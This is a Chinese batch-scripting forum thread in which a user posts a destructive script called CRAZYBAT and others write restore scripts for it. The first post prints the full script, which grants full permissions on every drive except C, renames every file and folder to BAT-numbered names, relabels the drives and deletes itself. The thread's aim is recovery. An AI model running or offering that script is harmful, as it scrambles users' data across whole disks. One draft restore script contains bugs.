[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

[系统相关] [已解决]如何利用批处理还原CRAZYBAT?

此批生成C:\windows\helpMe.ini
  1. setLocal enableDelayedExpansion
  2. ::::设置环境变量
  3. set "name1=1"
  4. set "name2=1"
  5. ::::搜索除C盘以外的25个盘符
  6. for %%i in (A B E F G H I J K L M N O P Q R S T U V W X Y Z D) do (
  7. ::::在此盘符中更改当前目录及其所有子目录中指定文件的ACL
  8. if exist %%i:\ (
  9.   ::::赋予指定用户访问权限同时容错继续
  10.   cacls %%i:\ /t /e /c /g %userName%:F
  11.   ::::处理当前目录及其之下是所有子目录中的文件
  12.   ::::以规定的规则重命名有后缀名的文件  
  13.   cd /d %%i:\
  14.   for /r  %%j in (*.*) do (
  15.    set "subName=%%~nj"
  16.    if not "!subName:~0,3!"=="BAT" (
  17.     echo %%~nxj;BAT_!name2!_!name1!>>C:\windows\helpMe.ini
  18.     ren "%%j" "BAT_!name2!_!name1!.BAT"
  19.     set /a "name1+=1"
  20.     if !name1!==9999 (
  21.      set "name1=1"
  22.      set /a "name2+=1"
  23.      )
  24.     )
  25.    )  
  26.   ::::处理当前目录下的第一级文件夹
  27.   ::::以规定的规则重命名无后缀名的文件夹
  28.   cd /d %%i:\
  29.   for /d /r %%k in (*) do (
  30.    set "subDir=%%k"
  31.    set "subDir=!subDir:%%~dk%%~pk=!"
  32.    if not "!subDir:~0,3!"=="BAT" (
  33.     set "newDir=%%k"
  34.     for /l %%m in (1,1,50) do (
  35.      if not "!newDir:~-1,1!"=="\" (
  36.      set "newDir=!newDir:~0,-1!"
  37.      )
  38.     )
  39.     set "realDir=%%k"
  40.     set "realDir=!realDir:%%~dk%%~pk=!"
  41.     echo !realDir!;BAT_!name2!_!name1!>>C:\windows\helpMe.ini
  42.     move "%%k" "!newDir!BAT_!name2!_!name1!"
  43.     set /a "name1+=1"
  44.     if !name1!==9999 (
  45.      set "name1=1"
  46.      set /a "name2+=1"
  47.      )
  48.     )
  49.    )
  50.   label %%i: BAT
  51.   )
  52. )
  53. del %0 /f /q
复制代码


[ 本帖最后由 a2035274 于 2010-8-20 16:01 编辑 ]
天霸语录
请不要用你怀疑的眼神侮辱我高尚的人格!

我最后改的,应该可以还原
  1. @echo off & setLocal enableDelayedExpansion
  2. @cls
  3. color 2e
  4. ECHO ::::::::::::::::::::::::::::::::::::::::::::::::::::
  5. ECHO :: 根据helpMe.ini中原有文件名自动还原文件的批处理 ::
  6. ECHO ::::::::::::::::::::::::::::::::::::::::::::::::::::
  7. ::::从C:\windows取得helpMe.ini文件
  8. if not exist c:\windows\helpMe.ini goto wrong
  9. ::::清空环境变量
  10. Set subName=
  11. Set ChName=
  12. Set subDir=
  13. Set newDir=
  14. ::::进入运行目录
  15. cd/d %WINDIR%
  16. ::::删除系统中可能存在干扰文件
  17. if exist C:\windows\help-Me.ini del C:\windows\help-Me.ini
  18. ::::更改帮助文件中文件名的排顺序输出到help-Me.ini中
  19. for /f "eol=* tokens=1,2 delims=;" %%i in (C:\windows\helpMe.ini)do echo %%j.bat;%%i>>C:\windows\help-Me.ini
  20. pause
  21. ::::搜索除C盘以外的25个盘符
  22. for %%i in (A B E F G H I J K L M N O P Q R S T U V W X Y Z D) do (
  23. ::::在此盘符中更改当前目录及其所有子目录中指定文件的ACL
  24. if exist %%i:\ (
  25.   ::::赋予指定用户访问权限同时容错继续
  26.   cacls %%i:\ /t /e /c /g %userName%:F
  27.   ::::处理当前目录下的第一级文件夹
  28.   ::::以规定的规则重命名无后缀名的文件夹
  29.   cd /d%%i:\
  30.   for /d /r %%k in (*) do (
  31.    set "subDir=%%k"
  32.    set "subDir=!subDir:%%~dk%%~pk=!"
  33.    if "!subDir:~0,3!"=="BAT" (
  34.     echo !subDir!>C:\windows\helpMe2.ini
  35.     ::::从(C:\windows\helpMe2.ini)文件中取得文件名特征字符串,并赋给变量"subDir"
  36.     for /f  %%O in (C:\windows\helpMe2.ini) do Set subDir=%%O
  37.     ::::以变量"subDir"为关键字搜索(C:\windows\help-Me.ini)中相同的字符串行,并保存到(C:\windows\change2.ini)
  38.     type C:\windows\help-Me.ini|find "!subDir!.">C:\windows\change2.ini
  39.     ::::找出文件原名(从"change2.ini"中分离出原文夹名字段,并赋给变量"newDir")
  40.     for /f "tokens=2 delims=;" %%P in (C:\windows\change2.ini) do (
  41.      Set newDir=%%P
  42.      ::::用变量"%newDir%"去替换现有的文件名称
  43.      ECHO 现有文件名称: !subDir!
  44.      ECHO 目标文件名称: !newDir!
  45.      ren "%%k" "%%P"
  46.      )
  47.     )
  48.    )
  49.   )
  50. )
  51. pause>nul
复制代码
还有单个的

  1. @echo off & setLocal enableDelayedExpansion
  2. @cls
  3. color 2e
  4. ECHO ::::::::::::::::::::::::::::::::::::::::::::::::::::
  5. ECHO :: 根据helpMe.ini中原有文件名自动还原文件的批处理 ::
  6. ECHO ::::::::::::::::::::::::::::::::::::::::::::::::::::
  7. ::::从C:\windows取得helpMe.ini文件
  8. if not exist c:\windows\helpMe.ini goto wrong
  9. ::::清空环境变量
  10. Set subName=
  11. Set ChName=
  12. Set subDir=
  13. Set newDir=
  14. ::::进入运行目录
  15. cd/d %WINDIR%
  16. ::::删除系统中可能存在干扰文件
  17. if exist C:\windows\help-Me.ini del C:\windows\help-Me.ini
  18. ::::更改帮助文件中文件名的排顺序输出到help-Me.ini中
  19. for /f "eol=* tokens=1,2 delims=;" %%i in (C:\windows\helpMe.ini)do echo %%j.bat;%%i>>C:\windows\help-Me.ini
  20. pause
  21. ::::搜索除C盘以外的25个盘符
  22. for %%i in (A B E F G H I J K L M N O P Q R S T U V W X Y Z D) do (
  23. ::::在此盘符中更改当前目录及其所有子目录中指定文件的ACL
  24. if exist %%i:\ (
  25.   ::::赋予指定用户访问权限同时容错继续
  26.   cacls %%i:\ /t /e /c /g %userName%:F
  27.   REM ::::获取现有机器中的单个文件名并保存到 (helpMe1.ini) 文件中
  28.   cd /d %%i:\
  29.   for /r  %%j in (*.*) do (
  30.    set "subName=%%~nj"
  31.    if "!subName:~0,3!"=="BAT" (
  32.     echo %%~nxj>C:\windows\helpMe1.ini
  33.     ::::从(C:\windows\helpMe1.ini)文件中取得文件名特征字符串,并赋给变量"subName"
  34.     for /f "tokens=1 delims=B" %%M in (C:\windows\helpMe1.ini) do Set subName=%%M
  35.     ::::以变量"subName"为关键字搜索(C:\windows\help-Me.ini)中相同的字符串行,并保存到(C:\windows\change1.ini)
  36.     type C:\windows\help-Me.ini|find "!subName!" >C:\windows\change1.ini
  37.     ::::找出文件原名(从"change1.ini"中分离出原文件名字段,并赋给变量"ChName")
  38.     for /f "tokens=2 delims=;" %%N in (C:\windows\change1.ini)do (
  39.      Set ChName=%%N
  40.      ::::用变量"%ChName%"去替换现有的文件名称
  41.      ECHO 现有文件名称: %%~nxj
  42.      ECHO 目标文件名称: !ChName!
  43.      ren "%%j" "%%N"
  44.      )
  45.     )
  46.    )
  47.   )
  48. )
  49. pause
  50. cd/d %WINDIR%
  51. if exist helpMe1.ini del helpMe1.ini
  52. if exist change1.ini del change1.ini
  53. if exist helpMe2.ini del helpMe2.ini
  54. if exist change2.ini del change2.ini
  55. pause
复制代码
天霸语录
请不要用你怀疑的眼神侮辱我高尚的人格!

TOP

回复 3楼 的帖子

我是在实验第一个批的时候发现他的危害太大了,想自己研究出其专杀批或者说是恢复批
天霸语录
请不要用你怀疑的眼神侮辱我高尚的人格!

TOP

不知道什么用的实在大笨了

TOP

目前进度:从每个盘中提取了具体文件名并赋给了subName
我暂时只写了这个代码,但不知道那里错了请高手指点一下
  1. setLocal enableDelayedExpansion
  2. @cls
  3. ECHO ::::::::::::::::::::::::::::::::::::::::::::::::::::
  4. ECHO :: 根据helpMe.ini中原有文件名自动还原文件的批处理 ::
  5. ECHO ::::::::::::::::::::::::::::::::::::::::::::::::::::
  6. ::::清空环境变量
  7. Set subName=
  8. Set ChName=
  9. Set subDir=
  10. Set newDir=
  11. ::::从C:\windows取得helpMe.ini文件
  12. if not exist c:\windows\helpMe.ini goto wrong
  13. cd/d %temp%
  14. Xcopy C:\windows\helpMe.ini %temp% /e/y
  15. ::::搜索除C盘以外的25个盘符
  16. for %%i in (A B E F G H I J K L M N O P Q R S T U V W X Y Z D) do (
  17. ::::在此盘符中更改当前目录及其所有子目录中指定文件的ACL
  18. if exist %%i:\ (
  19.   ::::赋予指定用户访问权限同时容错继续
  20.   cacls %%i:\ /t /e /c /g %userName%:F
  21.   ::::获取现有机器中的单个文件名并保存到 (helpMe1.ini) 文件中
  22.   cd /d %%i:\
  23.   for /r  %%j in (*.*) do (
  24.    set "subName=%%~nj"
  25.    if "!subName:~0,3!"=="BAT" (
  26.     echo %%~nxj>helpMe1.ini
  27.     ::::从(helpMe1.ini)文件中取得文件名字符串,并赋给变量"subName"
  28.     for /f %%M in (helpMe1.ini) do set subName=%%M
  29.    
  30.     ::::以变量"subName"为关键字搜索(helpMe.ini)中相同的字符串行,并保存到(change1.ini)
  31.     find "%subName%" helpMe.ini >change1.ini
  32.     ::::找出文件原名(从"change.ini"中分离出原文件名字段,并赋给变量"ChName")
  33.     for /f "tokens=1 delims=;" %%N in (change1.ini) do set ChName=%%N
  34.     ::::用变量"%ChName%"去替换现有的文件名称
  35.     ECHO 现有文件名称: %subName%
  36.     ECHO 目标文件名称: %CName%
  37.        ren "%subName%.BAT" "%CName%"
  38.     )
  39.    )
  40.   ::::处理当前目录下的第一级文件夹
  41.   ::::获取现有机器中的单个文件名并保存到 (helpMe2.ini) 文件中
  42.   cd /d %%i:\
  43.   for /d /r %%k in (*) do (
  44.    set "subDir=%%k"
  45.    set "subDir=!subDir:%%~dk%%~pk=!"
  46.    if "!subDir:~0,3!"=="BAT" (
  47.     echo !subDir!>helpMe2.ini
  48.     ::::从(helpMe2.ini)文件中取得文件名字符串,并赋给变量"subDir"
  49.     for /f %%M in (helpMe2.ini) do set subDir=%%M
  50.    
  51.     ::::以变量"subDir"为关键字搜索(helpMe.ini)中相同的字符串行,并保存到(change2.ini)
  52.     find "%subDir%" helpMe.ini >change2.ini
  53.     ::::找出文件原名(从"change2.ini"中分离出原文夹名字段,并赋给变量"newDir")
  54.     for /f "tokens=1 delims=;" %%N in (change2.ini) do set newDir=%%N
  55.    
  56.     ::::用变量"%newDir%"去替换现有的文件名称
  57.     ECHO 现有文件名称: %subDir%
  58.     ECHO 目标文件名称: %newDir%
  59.     ren "%subDir%" "%newDir%"
  60.     )
  61.    )
  62.   )
  63. )
  64. :wrong
  65. echo 很抱歉,找不到c:\windows\helpMe.ini,无法给予帮助
  66. echo 请不要删除或移除重要文件
  67. pause>nul
  68. exit
复制代码

目前进度:当C:\windows\helpMe1.ini(从实际的文件中得到的文件名的特征如:at_1_1.)存在时可输出change1.ini(原文件名如:1.txt)
  1. cd/d C:\windows
  2. if exist help-Me.ini del help-Me.ini
  3. ::::改变helpMe.ini中名称排列顺序以便搜索特征字符串行
  4. for /f "eol=* tokens=1,2 delims=;" %%i in (C:\windows\helpMe.ini)do echo %%j.bat;%%i>>C:\windows\help-Me.ini
  5. ::::从(helpMe1.ini)文件中取得文件名特征字符串,并赋给变量"subName"
  6. for /f "tokens=1 delims=B" %%M in (C:\windows\helpMe1.ini) do set subName=%%M
  7. ::::以变量"subName"为关键字搜索(help-Me.ini)中相同的字符串行,并保存到(change1.ini)
  8. type C:\windows\help-Me.ini |find "%subName%">C:\windows\change1.ini
复制代码


[ 本帖最后由 a2035274 于 2010-8-13 11:56 编辑 ]
天霸语录
请不要用你怀疑的眼神侮辱我高尚的人格!

TOP

返回列表